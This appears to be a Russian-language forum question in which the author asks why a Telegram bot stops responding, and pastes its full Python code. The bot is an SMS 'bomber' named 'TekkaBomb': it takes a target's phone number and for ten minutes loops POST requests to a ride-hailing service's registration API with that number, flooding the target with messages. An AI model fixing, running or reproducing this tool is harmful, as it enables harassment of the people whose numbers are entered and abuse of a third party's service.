При запуске start_spam бот перестает работать - ни у того, кто вызвал, ни у кого-либо другого. При этом функция выполняется. Завершается без ошибки
import requests
import threading
import asyncio
from datetime import datetime, timedelta
import aiogram
from aiogram import Bot, Dispatcher, executor, types
import time
from config import token, admin_id
from aiogram.types import ReplyKeyboardRemove, ReplyKeyboardMarkup, KeyboardButton, InlineKeyboardMarkup, InlineKeyboardButton
async def start_spam(chat_id, phone_number, force):
running_spams_per_chat_id.append(chat_id)
end = datetime.now() + timedelta(minutes=10)
while (datetime.now() < end):
if chat_id not in running_spams_per_chat_id:
break
asyncio.run(await send_for_number(phone_number))
THREADS_AMOUNT[0] -= 1 # стояло 1
try:
running_spams_per_chat_id.remove(chat_id)
except Exception:
pass
THREADS_LIMIT = 400
chat_ids_file = 'chat_ids.txt'
bot = Bot(token=token)
dp = Dispatcher(bot)
# Эти переменные лучше не менять
users_amount = [0]
threads = list()
THREADS_AMOUNT = [0]
types = aiogram.types
running_spams_per_chat_id = []
async def send_for_number(phone):
request_timeout = 0.00001
try:
requests.post('https://p.grabtaxi.com/api/passenger/v2/profiles/register',
data={'phoneNumber': phone, 'countryCode': 'ID', 'name': 'Alexey',
'email': 'alexey173949@gmail.com', 'deviceToken': '*'}, headers={
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0'})
except Exception as e:
pass
@dp.message_handler(commands=['start'])
async def save_chat_id(message: types.Message):
start_bomb = KeyboardButton(' Запустить бомбер ')
statistic = KeyboardButton('ℹ Информация о боте ℹ')
main_keyboard = ReplyKeyboardMarkup(resize_keyboard=True, row_width=1)
main_keyboard.add(start_bomb, statistic)
"Функция добавляет чат айди в файл если его там нету"
await message.answer('Хей-хей! Добро пожаловать!\nЭто - бесплатный бомбер "TekkaBomb".', reply_markup=main_keyboard)
chat_id = str(message.from_user.id)
with open(chat_ids_file, "a+") as ids_file:
ids_file.seek(0)
ids_list = [line.split('\n')[0] for line in ids_file]
if chat_id not in ids_list:
ids_file.write(f'{chat_id}\n')
ids_list.append(chat_id)
print(f'New chat_id saved: {chat_id}')
else:
print(f'chat_id {chat_id} is already saved')
users_amount[0] = len(ids_list)
return
@dp.message_handler()
async def answermessage(message: types.Message):
if message.text == 'ℹ Информация о боте ℹ':
await message.answer(f'Администратор: @turbinsday\nПользователей на данный момент: {users_amount[0]}')
elif message.text == ' Запустить бомбер ':
await message.answer('Отправь номер в формате 79*********:')
elif '790'in message.text:
if '+7' in message.text:
await message.answer('Неправильный формат! Отправь номер в формате 79*********:')
else:
phone = message.text
await message.answer(f'Запущен спам на номер +{phone} сроком на 10 минут')
asyncio.run(await start_spam(message.from_user.id,phone, force=False))
if __name__ == '__main__':
executor.start_polling(dp, skip_updates=True)